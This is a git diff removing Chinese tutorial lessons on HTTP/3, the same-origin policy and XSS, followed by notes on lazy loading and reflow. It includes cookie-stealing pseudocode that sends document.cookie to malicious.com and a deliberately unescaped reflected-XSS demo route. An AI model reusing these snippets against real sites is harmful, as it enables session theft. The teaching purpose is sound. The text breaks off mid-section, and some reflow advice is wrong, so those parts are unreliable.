HTTP3\357\274\232\347\224\251\346\216\211TCP\343\200\201TCL\345\214\205\350\242\261 \346\236\204\345\273\272\351\253\230\346\225\210\347\275\221\347\273\234.md" deleted file mode 100644 index 4c7db1ec..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L31 HTTP3\357\274\232\347\224\251\346\216\211TCP\343\200\201TCL\345\214\205\350\242\261 \346\236\204\345\273\272\351\253\230\346\225\210\347\275\221\347\273\234.md" +++ /dev/null @@ -1,111 +0,0 @@ - -# HTTP3:甩掉TCP、TCL包袱 构建高效网络 - - -前面两篇文章我们分析了 HTTP/1 和 HTTP/2,在 HTTP/2 出现之前,开发者需要采取很多变通的方式来解决 HTTP/1 所存在的问题,不过 HTTP/2 在 2018 年就开始得到了大规模的应用,HTTP/1 中存在的一大堆缺陷都得到了解决。 - -HTTP/2 的一个核心特性是使用了多路复用技术,因此它可以通过一个 TCP 连接来发送多个 URL 请求。多路复用技术能充分利用带宽,最大限度规避了 TCP 的慢启动所带来的问题,同时还实现了头部压缩、服务器推送等功能,使得页面资源的传输速度得到了大幅提升。在 HTTP/1.1 时代,为了提升并行下载效率,浏览器为每个域名维护了 6 个 TCP 连接;而采用 HTTP/2 之后,浏览器只需要为每个域名维护 1 个 TCP 持久连接,同时还解决了 HTTP/1.1 队头阻塞的问题。 - -从目前的情况来看,HTTP/2 似乎可以完美取代 HTTP/1 了,不过 HTTP/2 依然存在一些缺陷,于是就有了 HTTP/3。和通常一样,介绍 HTTP/3 之前,我们先来看看 HTTP/2 到底有什么缺陷。 - -## TCP 的队头阻塞 - -虽然 HTTP/2 解决了应用层面的队头阻塞问题,不过和 HTTP/1.1 一样,HTTP/2 依然是基于 TCP 协议的,而 TCP 最初就是为了单连接而设计的。你可以把 TCP 连接看成是两台计算机之前的一个虚拟管道,计算机的一端将要传输的数据按照顺序放入管道,最终数据会以相同的顺序出现在管道的另外一头。 - -接下来我们就来分析下 HTTP/1.1 协议栈中 TCP 是如何传输数据的。为直观理解,你可以参考下图: - -![](http://blog.poetries.top/img-repo/2019/11/86.png) - -通过上图你会发现,从一端发送给另外一端的数据会被拆分为一个个按照顺序排列的数据包,这些数据包通过网络传输到了接收端,接收端再按照顺序将这些数据包组合成原始数据,这样就完成了数据传输。 - -不过,如果在数据传输的过程中,有一个数据因为网络故障或者其他原因而丢包了,那么整个 TCP 的连接就会处于暂停状态,需要等待丢失的数据包被重新传输过来。你可以把 TCP 连接看成是一个按照顺序传输数据的管道,管道中的任意一个数据丢失了,那之后的数据都需要等待该数据的重新传输。为了直观理解,你可以参考下图: - -![](http://blog.poetries.top/img-repo/2019/11/87.png) - -我们就把在 TCP 传输过程中,由于单个数据包的丢失而造成的阻塞称为 TCP 上的队头阻塞。 - -那队头阻塞是怎么影响 HTTP/2 传输的呢?首先我们来看正常情况下 HTTP/2 是怎么传输多路请求的,为了直观理解,你可以参考下图: - -![](http://blog.poetries.top/img-repo/2019/11/88.png) - -通过该图,我们知道在 HTTP/2 中,多个请求是跑在一个 TCP 管道中的,如果其中任意一路数据流中出现了丢包的情况,那么就会阻塞该 TCP 连接中的所有请求。这不同于 HTTP/1.1,使用 HTTP/1.1 时,浏览器为每个域名开启了 6 个 TCP 连接,如果其中的 1 个 TCP 连接发生了队头阻塞,那么其他的 5 个连接依然可以继续传输数据。 - -所以随着丢包率的增加,HTTP/2 的传输效率也会越来越差。有测试数据表明,当系统达到了 2% 的丢包率时,HTTP/1.1 的传输效率反而比 HTTP/2 表现得更好。 - -## TCP 建立连接的延时 - -除了 TCP 队头阻塞之外,TCP 的握手过程也是影响传输效率的一个重要因素。 - -为了搞清楚 TCP 协议建立连接的延迟问题,我们还是先来回顾下网络延迟的概念,这会有助于你对后面内容的理解。网络延迟又称为 RTT(Round Trip Time)。我们把从浏览器发送一个数据包到服务器,再从服务器返回数据包到浏览器的整个往返时间称为 RTT(如下图)。RTT 是反映网络性能的一个重要指标。 - - -![](http://blog.poetries.top/img-repo/2019/11/89.png) - -那建立 TCP 连接时,需要花费多少个 RTT 呢?下面我们来计算下。 - -我们知道 HTTP/1 和 HTTP/2 都是使用 TCP 协议来传输的,而如果使用 HTTPS 的话,还需要使用 TLS 协议进行安全传输,而使用 TLS 也需要一个握手过程,这样就需要有两个握手延迟过程。 - -- 在建立 TCP 连接的时候,需要和服务器进行三次握手来确认连接成功,也就是说需要在消耗完 1.5 个 RTT 之后才能进行数据传输。 -- 进行 TLS 连接,TLS 有两个版本——TLS1.2 和 TLS1.3,每个版本建立连接所花的时间不同,大致是需要 1~2 个 RTT,关于 HTTPS 我们到后面到安全模块再做详细介绍 - -总之,在传输数据之前,我们需要花掉 3~4 个 RTT。如果浏览器和服务器的物理距离较近,那么 1 个 RTT 的时间可能在 10 毫秒以内,也就是说总共要消耗掉 30~40 毫秒。这个时间也许用户还可以接受,但如果服务器相隔较远,那么 1 个 RTT 就可能需要 100 毫秒以上了,这种情况下整个握手过程需要 300~400 毫秒,这时用户就能明显地感受到“慢”了。 - -## TCP 协议僵化 - -现在我们知道了 TCP 协议存在队头阻塞和建立连接延迟等缺点,那我们是不是可以通过改进 TCP 协议来解决这些问题呢? - -答案是:非常困难。之所以这样,主要有两个原因。 - -第一个是中间设备的僵化。要搞清楚什么是中间设备僵化,我们先要弄明白什么是中间设备。我们知道互联网是由多个网络互联的网状结构,为了能够保障互联网的正常工作,我们需要在互联网的各处搭建各种设备,这些设备就被称为中间设备。 - -这些中间设备有很多种类型,并且每种设备都有自己的目的,这些设备包括了路由器、防火墙、NAT、交换机等。它们通常依赖一些很少升级的软件,这些软件使用了大量的 TCP 特性,这些功能被设置之后就很少更新了。 - -所以,如果我们在客户端升级了 TCP 协议,但是当新协议的数据包经过这些中间设备时,它们可能不理解包的内容,于是这些数据就会被丢弃掉。这就是中间设备僵化,它是阻碍 TCP 更新的一大障碍。 - -除了中间设备僵化外,操作系统也是导致 TCP 协议僵化的另外一个原因。因为 TCP 协议都是通过操作系统内核来实现的,应用程序只能使用不能修改。通常操作系统的更新都滞后于软件的更新,因此要想自由地更新内核中的 TCP 协议也是非常困难的 - -## QUIC 协议 - -HTTP/2 存在一些比较严重的与 TCP 协议相关的缺陷,但由于 TCP 协议僵化,我们几乎不可能通过修改 TCP 协议自身来解决这些问题,那么解决问题的思路是绕过 TCP 协议,发明一个 TCP 和 UDP 之外的新的传输协议。但是这也面临着和修改 TCP 一样的挑战,因为中间设备的僵化,这些设备只认 TCP 和 UDP,如果采用了新的协议,新协议在这些设备同样不被很好地支持。 - -因此,HTTP/3 选择了一个折衷的方法——UDP 协议,基于 UDP 实现了类似于 TCP 的多路数据流、传输可靠性等功能,我们把这套功能称为QUIC 协议。关于 HTTP/2 和 HTTP/3 协议栈的比较,你可以参考下图: - - -![](http://blog.poetries.top/img-repo/2019/11/90.png) - -通过上图我们可以看出,HTTP/3 中的 QUIC 协议集合了以下几点功能。 - -- 实现了类似 TCP 的流量控制、传输可靠性的功能。虽然 UDP 不提供可靠性的传输,但 QUIC 在 UDP 的基础之上增加了一层来保证数据可靠性传输。它提供了数据包重传、拥塞控制以及其他一些 TCP 中存在的特性。 -- 集成了 TLS 加密功能。目前 QUIC 使用的是 TLS1.3,相较于早期版本 TLS1.3 有更多的优点,其中最重要的一点是减少了握手所花费的 RTT 个数。 -- 实现了 HTTP/2 中的多路复用功能。和 TCP 不同,QUIC 实现了在同一物理连接上可以有多个独立的逻辑数据流(如下图)。实现了数据流的单独传输,就解决了 TCP 中队头阻塞的问题。 - -![](http://blog.poetries.top/img-repo/2019/11/91.png) - -实现了快速握手功能。由于 QUIC 是基于 UDP 的,所以 QUIC 可以实现使用 0-RTT 或者 1-RTT 来建立连接,这意味着 QUIC 可以用最快的速度来发送和接收数据,这样可以大大提升首次打开页面的速度。 - -## HTTP/3 的挑战 - -通过上面的分析,我们相信在技术层面,HTTP/3 是个完美的协议。不过要将 HTTP/3 应用到实际环境中依然面临着诸多严峻的挑战,这些挑战主要来自于以下三个方面。 - -第一,从目前的情况来看,服务器和浏览器端都没有对 HTTP/3 提供比较完整的支持。Chrome 虽然在数年前就开始支持 Google 版本的 QUIC,但是这个版本的 QUIC 和官方的 QUIC 存在着非常大的差异。 - -第二,部署 HTTP/3 也存在着非常大的问题。因为系统内核对 UDP 的优化远远没有达到 TCP 的优化程度,这也是阻碍 QUIC 的一个重要原因。 - -第三,中间设备僵化的问题。这些设备对 UDP 的优化程度远远低于 TCP,据统计使用 QUIC 协议时,大约有 3%~7% 的丢包率。 - -## 总结 - -好了,今天就介绍到这里,下面我来总结下本文的主要内容。 - -我们首先分析了 HTTP/2 中所存在的一些问题,主要包括了 TCP 的队头阻塞、建立 TCP 连接的延时、TCP 协议僵化等问题。 - -这些问题都是 TCP 的内部问题,因此要解决这些问题就要优化 TCP 或者“另起炉灶”创造新的协议。由于优化 TCP 协议存在着诸多挑战,所以官方选择了创建新的 QUIC 协议。 - -HTTP/3 正是基于 QUIC 协议的,你可以把 QUIC 看成是集成了“TCP+HTTP/2 的多路复用 +TLS 等功能”的一套协议。这是集众家所长的一个协议,从协议最底层对 Web 的文件传输做了比较彻底的优化,所以等生态相对成熟时,可以用来打造比现在的 HTTP/2 还更加高效的网络。 - -虽说这套协议解决了 HTTP/2 中因 TCP 而带来的问题,不过由于是改动了底层协议,所以推广起来还会面临着巨大的挑战。 - -**关于 HTTP/3 的未来,我有下面两点判断:** - -- 从标准制定到实践再到协议优化还需要走很长一段路; -- 因为动了底层协议,所以 HTTP/3 的增长会比较缓慢,这和 HTTP/2 有着本质的区别 \ No newline at end of file diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L32 \345\220\214\346\272\220\347\255\226\347\225\245\357\274\232\344\270\272\344\273\200\344\271\210XMLHttpRequst\344\270\215\350\203\275\350\267\250\345\237\237\350\257\267\346\261\202\350\265\204\346\272\220.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L32 \345\220\214\346\272\220\347\255\226\347\225\245\357\274\232\344\270\272\344\273\200\344\271\210XMLHttpRequst\344\270\215\350\203\275\350\267\250\345\237\237\350\257\267\346\261\202\350\265\204\346\272\220.md" deleted file mode 100644 index 5b029fbb..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L32 \345\220\214\346\272\220\347\255\226\347\225\245\357\274\232\344\270\272\344\273\200\344\271\210XMLHttpRequst\344\270\215\350\203\275\350\267\250\345\237\237\350\257\267\346\261\202\350\265\204\346\272\220.md" +++ /dev/null @@ -1,98 +0,0 @@ - -# 同源策略:为什么XMLHttpRequst不能跨域请求资源 - -通过前面 6 个模块的介绍,我们已经大致知道浏览器是怎么工作的了,也了解这种工作方式对前端产生了什么样的影响。在这个过程中,我们还穿插介绍了一些浏览器安全相关的内容,不过都比较散,所以最后的 5 篇文章,我们就来系统地介绍下浏览器安全相关的内容。 - -浏览器安全可以分为三大块——Web 页面安全、浏览器网络安全和浏览器系统安全,所以本模块我们就按照这个思路来做介绍。鉴于页面安全的重要性,我们会用三篇文章来介绍该部分的知识;网络安全和系统安全则分别用一篇来介绍。 - -今天我们就先来分析页面中的安全策略,不过在开始之前,我们先来做个假设,如果页面中没有安全策略的话,Web 世界会是什么样子的呢? - -Web 世界会是开放的,任何资源都可以接入其中,我们的网站可以加载并执行别人网站的脚本文件、图片、音频 / 视频等资源,甚至可以下载其他站点的可执行文件。 - -Web 世界是开放的,这很符合 Web 理念。但如果 Web 世界是绝对自由的,那么页面行为将没有任何限制,这会造成无序或者混沌的局面,出现很多不可控的问题。 - -比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情: - -- 修改银行站点的 DOM、CSSOM 等信息; -- 在银行站点内部插入 JavaScript 脚本; -- 劫持用户登录的用户名和密码; -- 读取银行站点的 Cookie、IndexDB 等数据; -- 甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。 - -所以说,在没有安全保障的 Web 世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全。 - -这就引出了页面中最基础、最核心的安全策略:同源策略(Same-origin policy)。 - -## 什么是同源策略 - -要了解什么是同源策略,我们得先来看看什么是同源。 - -如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。比如下面这两个 URL,它们具有相同的协议 HTTPS、相同的域名 time.geekbang.org,以及相同的端口 443,所以我们就说这两个 URL 是同源的。 - - -``` -https://time.geekbang.org/?category=1 -https://time.geekbang.org/?category=0 -``` - -浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。 - -具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。 - -**第一个,DOM 层面**。同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。 - -**第二个,数据层面。同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据**。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。你可以自己试一下,这里我们就不做演示了。 - -**第三个,网络层面**。同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。你还记得在《17 | WebAPI:XMLHttpRequest 是怎么实现的?》这篇文章的末尾分析的 XMLHttpRequest 在使用过程中所遇到的坑吗?其中第一个坑就是在默认情况下不能访问跨域的资源。 - -## 安全和便利性的权衡 - -我们了解了同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。 - -不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS 攻击和 CSRF 攻击,这两种攻击我们会在后续两篇文章中再做介绍,本文我们只聊浏览器出让了同源策略的哪些安全性。 - -### 1. 页面中可以嵌入第三方资源 - -我们在文章开头提到过,Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。 - -所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。 - -比如,恶意程序在 HTML 文件内容中插入如下一段 JavaScript 代码 - -![](http://blog.poetries.top/img-repo/2019/11/92.png) - -当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。 - -除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码: - -```js -function onClick(){ - let url = `http://malicious.com?cookie = ${document.cookie}` - open(url) -} -onClick() -``` - -在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。 - -以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。 - -### 2. 跨域资源共享和跨文档消息机制 - -默认情况下,如果打开极客邦的官网页面,在官网页面中通过 XMLHttpRequest 或者 Fetch 来请求 InfoQ 中的资源,这时同源策略会阻止其向 InfoQ 发出请求,这样会大大制约我们的生产力。 - -为了解决这个问题,我们引入了跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。 - -在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。 - -## 总结 - -好了,今天就介绍到这里,下面我来总结下本文的主要内容。 - -同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。 - -不过鱼和熊掌不可兼得,要绝对的安全就要牺牲掉便利性,因此我们要在这二者之间做权衡,找到中间的一个平衡点,也就是目前的页面安全策略原型。总结起来,它具备以下三个特点: - -页面中可以引用第三方资源,不过这也暴露了很多诸如 XSS 的安全问题,因此又在这种开放的基础之上引入了 CSP 来限制其自由程度。 -使用 XMLHttpRequest 和 Fetch 都是无法直接进行跨域请求的,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略,让其可以安全地进行跨域操作。 -两个不同源的 DOM 是不能相互操纵的,因此,浏览器中又实现了跨文档消息机制,让其可以比较安全地通信 \ No newline at end of file diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L33 \350\267\250\347\253\231\350\204\232\346\234\254\346\224\273\345\207\273XSS\357\274\232\344\270\272\344\273\200\344\271\210cookie\344\270\255\346\234\211httpOnly\345\261\236\346\200\247.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L33 \350\267\250\347\253\231\350\204\232\346\234\254\346\224\273\345\207\273XSS\357\274\232\344\270\272\344\273\200\344\271\210cookie\344\270\255\346\234\211httpOnly\345\261\236\346\200\247.md" deleted file mode 100644 index 46b9430b..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L33 \350\267\250\347\253\231\350\204\232\346\234\254\346\224\273\345\207\273XSS\357\274\232\344\270\272\344\273\200\344\271\210cookie\344\270\255\346\234\211httpOnly\345\261\236\346\200\247.md" +++ /dev/null @@ -1,187 +0,0 @@ - -# 跨站脚本攻击XSS:为什么cookie中有httpOnly属性 - -通过上篇文章的介绍,我们知道了同源策略可以隔离各个站点之间的 DOM 交互、页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是也束缚了 Web。这就需要在安全和自由之间找到一个平衡点,所以我们默认页面中可以引用任意第三方资源,然后又引入 CSP 策略来加以限制;默认 XMLHttpRequest 和 Fetch 不能跨站请求资源,然后又通过 CORS 策略来支持其跨域。 - -不过支持页面中的第三方资源引用和 CORS 也带来了很多安全问题,其中最典型的就是 XSS 攻击。 - -## 什么是 XSS 攻击 - -XSS 全称是 Cross Site Scripting,为了与“CSS”区分开来,故简称 XSS,翻译过来就是“跨站脚本”。XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。 - -最开始的时候,这种攻击是通过跨域来实现的,所以叫“跨域脚本”。但是发展到现在,往 HTML 文件中注入恶意代码的方式越来越多了,所以是否跨域注入脚本已经不是唯一的注入手段了,但是 XSS 这个名字却一直保留至今。 - -当页面被注入了恶意 JavaScript 脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入 JavaScript 脚本也拥有所有的脚本权限。下面我们就来看看,如果页面被注入了恶意 JavaScript 脚本,恶意脚本都能做哪些事情 - -- 可以窃取 Cookie 信息。恶意 JavaScript 可以通过“document.cookie”获取 Cookie 信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的 Cookie 信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操作。 -- 可以监听用户行为。恶意 JavaScript 可以使用“addEventListener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。 -- 可以通过修改 DOM伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。 -- 还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。 - -除了以上几种情况外,恶意脚本还能做很多其他的事情,这里就不一一介绍了。总之,如果让页面插入了恶意脚本,那么就相当于把我们页面的隐私数据和行为完全暴露给黑客了。 - -## 恶意脚本是怎么注入的 - -现在我们知道了页面中被注入恶意的 JavaScript 脚本是一件非常危险的事情,所以网站开发者会尽可能地避免页面中被注入恶意脚本。要想避免站点被注入恶意脚本,就要知道有哪些常见的注入方式。通常情况下,主要有存储型 XSS 攻击、反射型 XSS 攻击和基于 DOM 的 XSS 攻击三种方式来注入恶意脚本。 - -### 1. 存储型 XSS 攻击 - -我们先来看看存储型 XSS 攻击是怎么向 HTML 文件中注入恶意脚本的,你可以参考下图 - -![](http://blog.poetries.top/img-repo/2019/11/93.png) - -通过上图,我们可以看出存储型 XSS 攻击大致需要经过如下步骤: - -- 首先黑客利用站点漏洞将一段恶意 JavaScript 代码提交到网站的数据库中; -- 然后用户向网站请求包含了恶意 JavaScript 脚本的页面; -- 当用户浏览该页面的时候,恶意脚本就会将用户的 Cookie 信息等数据上传到服务器。 -- 下面我们来看个例子,2015 年喜马拉雅就被曝出了存储型 XSS 漏洞。起因是在用户设置专辑名称时,服务器对关键字过滤不严格,比如可以将专辑名称设置为一段 JavaScript,如下图所示: - -![](http://blog.poetries.top/img-repo/2019/11/94.png) - -当黑客将专辑名称设置为一段 JavaScript 代码并提交时,喜马拉雅的服务器会保存该段 JavaScript 代码到数据库中。然后当用户打开黑客设置的专辑时,这段代码就会在用户的页面里执行(如下图),这样就可以获取用户的 Cookie 等数据信息 - -![](http://blog.poetries.top/img-repo/2019/11/95.png) - -当用户打开黑客设置的专辑页面时,服务器也会将这段恶意 JavaScript 代码返回给用户,因此这段恶意脚本就在用户的页面中执行了。 - -恶意脚本可以通过 XMLHttpRequest 或者 Fetch 将用户的 Cookie 数据上传到黑客的服务器,如下图所示: - -![](http://blog.poetries.top/img-repo/2019/11/96.png) - -黑客拿到了用户 Cookie 信息之后,就可以利用 Cookie 信息在其他机器上登录该用户的账号(如下图),并利用用户账号进行一些恶意操作。 - -![](http://blog.poetries.top/img-repo/2019/11/97.png) - -以上就是存储型 XSS 攻击的一个典型案例,这是乌云网在 2015 年曝出来的,虽然乌云网由于某些原因被关停了,但是你依然可以通过这个站点来查看乌云网的一些备份信息。 - -### 2. 反射型 XSS 攻击 - -在一个反射型 XSS 攻击过程中,恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript 脚本返回给用户。当恶意 JavaScript 脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。 - -这样讲有点抽象,下面我们结合一个简单的 Node 服务程序来看看什么是反射型 XSS。首先我们使用 Node 来搭建一个简单的页面环境,搭建好的服务代码如下所示: - -```js -var express = require('express'); -var router = express.Router(); - - -/* GET home page. */ -router.get('/', function(req, res, next) { - res.render('index', { title: 'Express',xss:req.query.xss }); -}); - - -module.exports = router; -``` - -```html - - - - <%= title %> - - - -

    <%= title %>

    -

    Welcome to <%= title %>

    -
    - <%- xss %> -
    - - -``` - -上面这两段代码,第一段是路由,第二段是视图,作用是将 URL 中 xss 参数的内容显示在页面。我们可以在本地演示下,比如打开http://localhost:3000/?xss=123这个链接,这样在页面中展示就是“123”了(如下图),是正常的,没有问题的。 - -![](http://blog.poetries.top/img-repo/2019/11/98.png) - - -> 但当打开`http://localhost:3000/?xss=`这段 URL 时,其结果如下图所示: - -![](http://blog.poetries.top/img-repo/2019/11/99.png) - -通过这个操作,我们会发现用户将一段含有恶意代码的请求提交给 Web 服务器,Web 服务器接收到请求时,又将恶意代码反射给了浏览器端,这就是反射型 XSS 攻击。在现实生活中,黑客经常会通过 QQ 群或者邮件等渠道诱导用户去点击这些恶意链接,所以对于一些链接我们一定要慎之又慎。 - -另外需要注意的是,Web 服务器不会存储反射型 XSS 攻击的恶意脚本,这是和存储型 XSS 攻击不同的地方。 - -### 3. 基于 DOM 的 XSS 攻击 - -基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据 - -## 如何阻止 XSS 攻击 - -我们知道存储型 XSS 攻击和反射型 XSS 攻击都是需要经过 Web 服务器来处理的,因此可以认为这两种类型的漏洞是服务端的安全漏洞。而基于 DOM 的 XSS 攻击全部都是在浏览器端完成的,因此基于 DOM 的 XSS 攻击是属于前端的安全漏洞。 - -但无论是何种类型的 XSS 攻击,它们都有一个共同点,那就是首先往浏览器中注入恶意脚本,然后再通过恶意脚本将用户信息发送至黑客部署的恶意服务器上。 - -所以要阻止 XSS 攻击,我们可以通过阻止恶意 JavaScript 脚本的注入和恶意消息的发送来实现。 - -接下来我们就来看看一些常用的阻止 XSS 攻击的策略 - -### 1. 服务器对输入脚本进行过滤或转码 - -不管是反射型还是存储型 XSS 攻击,我们都可以在服务器端将一些关键的字符进行转码,比如最典型的: - - -``` -code: -``` - -这段代码过滤后,只留下了:code - - -这样,当用户再次请求该页面时,由于` -``` - -### 4. 懒加载与预加载的区别 - -这两种方式都是提高网页性能的方式,两者主要区别是一个是提前加载,一个是迟缓甚至不加载。懒加载对服务器前端有一定的缓解压力作用,预加载则会增加服务器前端压力。 - -- **懒加载也叫延迟加载,指的是在长网页中延迟加载图片的时机,当用户需要访问时,再去加载**,这样可以提高网站的首屏加载速度,提升用户的体验,并且可以减少服务器的压力。它适用于图片很多,页面很长的电商网站的场景。懒加载的实现原理是,将页面上的图片的 src 属性设置为空字符串,将图片的真实路径保存在一个自定义属性中,当页面滚动的时候,进行判断,如果图片进入页面可视区域内,则从自定义属性中取出真实路径赋值给图片的 src 属性,以此来实现图片的延迟加载。 -- **预加载指的是将所需的资源提前请求加载到本地,这样后面在需要用到时就直接从缓存取资源。** 通过预加载能够减少用户的等待时间,提高用户的体验。我了解的预加载的最常用的方式是使用 js 中的 image 对象,通过为 image 对象来设置 scr 属性,来实现图片的预加载。 - -## 三、回流与重绘 - -### 1. 回流与重绘的概念及触发条件 - -#### (1)回流 - -当渲染树中部分或者全部元素的尺寸、结构或者属性发生变化时,浏览器会重新渲染部分或者全部文档的过程就称为**回流**。 - -下面这些操作会导致回流: - -- 页面的首次渲染 -- 浏览器的窗口大小发生变化 -- 元素的内容发生变化 -- 元素的尺寸或者位置发生变化 -- 元素的字体大小发生变化 -- 激活CSS伪类 -- 查询某些属性或者调用某些方法 -- 添加或者删除可见的DOM元素 - -在触发回流(重排)的时候,由于浏览器渲染页面是基于流式布局的,所以当触发回流时,会导致周围的DOM元素重新排列,它的影响范围有两种: - -- 全局范围:从根节点开始,对整个渲染树进行重新布局 -- 局部范围:对渲染树的某部分或者一个渲染对象进行重新布局 - -#### (2)重绘 - -当页面中某些元素的样式发生变化,但是不会影响其在文档流中的位置时,浏览器就会对元素进行重新绘制,这个过程就是**重绘**。 - -下面这些操作会导致回流: - -- color、background 相关属性:background-color、background-image 等 -- outline 相关属性:outline-color、outline-width 、text-decoration -- border-radius、visibility、box-shadow - -注意: **当触发回流时,一定会触发重绘,但是重绘不一定会引发回流。** - -### 2. 如何避免回流与重绘? - -**减少回流与重绘的措施:** - -- 操作DOM时,尽量在低层级的DOM节点进行操作 -- 不要使用`table`布局, 一个小的改动可能会使整个`table`进行重新布局 -- 使用CSS的表达式 -- 不要频繁操作元素的样式,对于静态页面,可以修改类名,而不是样式。 -- 使用absolute或者fixed,使元素脱离文档流,这样他们发生变化就不会影响其他元素 -- 避免频繁操作DOM,可以创建一个文档片段`documentFragment`,在它上面应用所有DOM操作,最后再把它添加到文档中 -- 将元素先设置`display: none`,操作结束后再把它显示出来。因为在display属性为none的元素上进行的DOM操作不会引发回流和重绘。 -- 将DOM的多个读操作(或者写操作)放在一起,而不是读写操作穿插着写。这得益于**浏览器的渲染队列机制**。 - -浏览器针对页面的回流与重绘,进行了自身的优化——**渲染队列** - -**浏览器会将所有的回流、重绘的操作放在一个队列中,当队列中的操作到了一定的数量或者到了一定的时间间隔,浏览器就会对队列进行批处理。这样就会让多次的回流、重绘变成一次回流重绘。** - -上面,将多个读操作(或者写操作)放在一起,就会等所有的读操作进入队列之后执行,这样,原本应该是触发多次回流,变成了只触发一次回流。 - -### 3. 如何优化动画? - -对于如何优化动画,我们知道,一般情况下,动画需要频繁的操作DOM,就就会导致页面的性能问题,我们可以将动画的`position`属性设置为`absolute`或者`fixed`,将动画脱离文档流,这样他的回流就不会影响到页面了。 - -### 4. documentFragment 是什么?用它跟直接操作 DOM 的区别是什么? - -MDN中对`documentFragment`的解释: - -> DocumentFragment,文档片段接口,一个没有父对象的最小文档对象。它被作为一个轻量版的 Document使用,就像标准的document一样,存储由节点(nodes)组成的文档结构。与document相比,最大的区别是DocumentFragment不是真实 DOM 树的一部分,它的变化不会触发 DOM 树的重新渲染,且不会导致性能等问题。 - -当我们把一个 DocumentFragment 节点插入文档树时,插入的不是 DocumentFragment 自身,而是它的所有子孙节点。在频繁的DOM操作时,我们就可以将DOM元素插入DocumentFragment,之后一次性的将所有的子孙节点插入文档中。和直接操作DOM相比,将DocumentFragment 节点插入DOM树时,不会触发页面的重绘,这样就大大提高了页面的性能。 - -## 